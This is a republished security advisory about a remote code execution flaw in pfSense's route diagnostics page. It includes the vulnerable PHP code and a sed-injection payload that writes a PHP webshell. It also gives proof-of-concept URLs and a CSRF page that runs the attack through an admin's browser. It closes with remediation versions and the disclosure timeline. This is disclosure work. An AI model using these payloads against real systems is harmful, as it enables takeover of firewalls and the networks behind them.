(RCE) Remote Code Execution in pfSense
Summary
pfSense allows authenticated users to get information about the routes set in the firewall. The information are retrieved by executing the netstat
utility and then its output is parsed via the sed
utility. While the common prevention patterns for command injections (i.e. the usage of the escapeshellarg
function for the arguments) are in use, it is still possible to inject sed
-specific code and write an arbitrary file in an arbitrary location. This vulnerability could be also exploited pre-authentication as the vulnerable endpoint is also vulnerable to a Cross-Site Request Forgery (CSRF).
Product Description (from vendor)
pfSense® Plus software is the world’s most trusted firewall. The software has garnered the respect and adoration of users worldwide – installed well over three million times. Made possible by open source technology. Made into a robust, reliable, dependable product by Netgate.
CVE(s)
Details
Root Cause Analysis
pfSense while trying to show the routes set in the firewall executes the sed
utility with some user-controllable input.sed
– a stream editor – is a powerful utility to perform text transformations and has quite a lot of commands which could be defined as a single command line argument semicolon-separated. The ability of adding multiple commands in one argument is the key for this vulnerability.
What is important to specify before diving into the exploitation details is that pfSense is based on FreeBSD, so all the GNU-specific arguments of sed
(e.g. the e
/exec
argument which could be used to run a system command) are not available.
An excerpt of the vulnerable code follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 35 if (isset($_REQUEST['isAjax'])) { 36 require_once('auth_check.inc'); 37 38 $netstat = "/usr/bin/netstat -rW"; 39 if (isset($_REQUEST['IPv6'])) { 40 $netstat .= " -f inet6"; 41 echo "IPv6\n"; 42 } else { 43 $netstat .= " -f inet"; 44 echo "IPv4\n"; 45 46 } 47 if (!isset($_REQUEST['resolve'])) { 48 $netstat .= " -n"; 49 } 50 51 if (!empty($_REQUEST['filter'])) { 52 $netstat .= " | /usr/bin/sed -e " . escapeshellarg("1,3d; 5,\$ { /" . htmlspecialchars($_REQUEST['filter']) . "/!d; };"); 53 } else { 54 $netstat .= " | /usr/bin/sed -e '1,3d'"; 55 } 56 57 if (is_numeric($_REQUEST['limit']) && $_REQUEST['limit'] > 0) { 58 $_REQUEST['limit']++; // Account for the header line 59 $netstat .= " | /usr/bin/head -n {$_REQUEST['limit']}"; 60 } 61 62 echo htmlspecialchars_decode(shell_exec($netstat)); 63 64 exit; 65 } |
At line 51-52 it could be seen that if the request contains a filter
parameter then its HTML special characters are converted to their HTML entities. Then the input is prefixed and suffixed by some hard-coded sed
syntax, and finally everything is escaped by the escapeshellarg
function, which prevents sub-commands or other arguments from being injected. At line 62 the command is finally executed.
As mentioned before it is possible to inject arbitrary sed
syntax, having the only limitation that the input is encoded via the htmlspecialchars
function. This allows to use the s/match/replace/
command to replace part of the netstat
output with an arbitrary string and the w /path/to/file
command to write the output of the sed
command to an arbitrary location.
Wrapping everything together an attacker could set in the filter parameter the following string: .*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
Which will result in the following command to be run:
/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
#/!d; };'
As the netstat
utility always outputs the Destination
string, it was chosen to be replaced with <?php system($_GET["a"]);?>
and then the output is written to /usr/local/www/a.php
.
### Proof of Concept
- Login to pfSense
- Visit the following URL by replacing
<target>
with the IP address / domain of the target pfSense instance:http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
- Visit the following URL by replacing
<target>
with the IP address / domain of the target pfSense instance and notice that theid
command has been executed:http://<target>/a.php?a=id
Impact
An authenticated attacker could write an arbitrary file to the pfSense disk. This can be abused to write a webshell to execute arbitrary code / commands.
It should be noted that due to a lack of Cross-Site Request Forgery (CSRF) protections for the vulnerable endpoint it is possible for an attacker to trick an authenticated admin into visiting a malicious website to exploit the vulnerability through the victim’s session/browser. More details are available in the Cross-Site Request Forgery advisory.
A proof of concept to exploit the vulnerability through the CSRF follows:
- Login to pfSense
- Create an HTML file with the following content by replacing
<target>
with the IP address / domain of the target pfSense instance:
1 2 3 4 | <meta name="referrer" content="no-referrer"> <script> window.location = "http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3cscript\\x3eif\\x28location.pathname\\x21\\x3d\\x27\\x2fa.php\\x27\\x29\\x7blocation\\x3d\\x27\\x2fa.php\\x3fa\\x3did\\x27\\x7d\\x3c\\x2fscript\\x3e\\x3c\\x3fphp+system($_GET[\\x22a\\x22])\\x3b\\x3f\\x3e/;w+/usr/local/www/a.php%0a%23" </script> |
- Visit the following URL by replacing
<target>
with the IP address / domain of the target pfSense instance and notice the 404 error:http://<target>/a.php?a=id
- Host the HTML page created at step 2 on a webserver and visit it in the same browser used for the other steps
- Notice that the Arbitrary File Write has been exploited to create a webshell in
/usr/local/www/a.php
and the victim is redirected to the webshell (http://<target>/a.php?a=id
) to execute theid
command
Remediation
Upgrade pfSense CE to version 2.6.0 or pfSense Plus to version 22.01.
Disclosure Timeline
- 12/08/2021: Submission to security@netgate.com
- 13/08/2021: pfSense published the fix for the RCE on Github: https://github.com/pfsense/pfsense/commit/72ea2b69cc111d4bc8ebf1ccf1e1529923c5b88a
- 16/08/2021: Shielder reported a ReDoS in the implemented fix and the lack of a fix for the CSRF
- 16/08/2021: pfSense published the first attempt to fix the ReDoS and fix for the CSRF on Github: https://github.com/pfsense/pfsense/commit/57a737f172b7baaa6ae0f23e8aef2f93ad851054
- 17/08/2021: Shielder reported a bypass for the ReDoS fix
- 17/08/2021: pfSense published the second attempt to fix the ReDos on Github: https://github.com/pfsense/pfsense/commit/8cd3f92f2443a6f0e4b7964a9532f761f808a0c6
- 17/08/2021: Shielder reported yet-another-bypass™️ for the ReDoS fix
- 18/08/2021: pfSense published the final fix for the ReDoS on Github: https://github.com/pfsense/pfsense/commit/cf757a8094762ede47861fc073eaba06355c6bfc
- 15/09/2021: Shielder requested the CVE
- 06/10/2021: Shielder asked for update about the publication time of the fixed version
- 06/10/2021: pfSense shared the ETA for the update – Jan 2022
- 14/02/2022: psSense published the fixed version
- 23/02/2022: Shielder’s advisory is made public
Credits
- Abdel Adim `smaury` Oisfi of Shielder
You may also enjoy reading, Q4/21: Sees More DDoS Attacks Than Ever Before
Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for RiSec Weekly Cybersecurity Newsletter Today
Remember, CyberSecurity Starts With You!
- Globally, 30,000 websites are hacked daily.
- 64% of companies worldwide have experienced at least one form of a cyber attack.
- There were 20M breached records in March 2021.
- In 2020, ransomware cases grew by 150%.
- Email is responsible for around 94% of all malware.
- Every 39 seconds, there is a new attack somewhere on the web.
- An average of around 24,000 malicious mobile apps are blocked daily on the internet.
Check out our CyberSecurity Knowledge Base, accepting submissions @ kb@realinfosec[.]net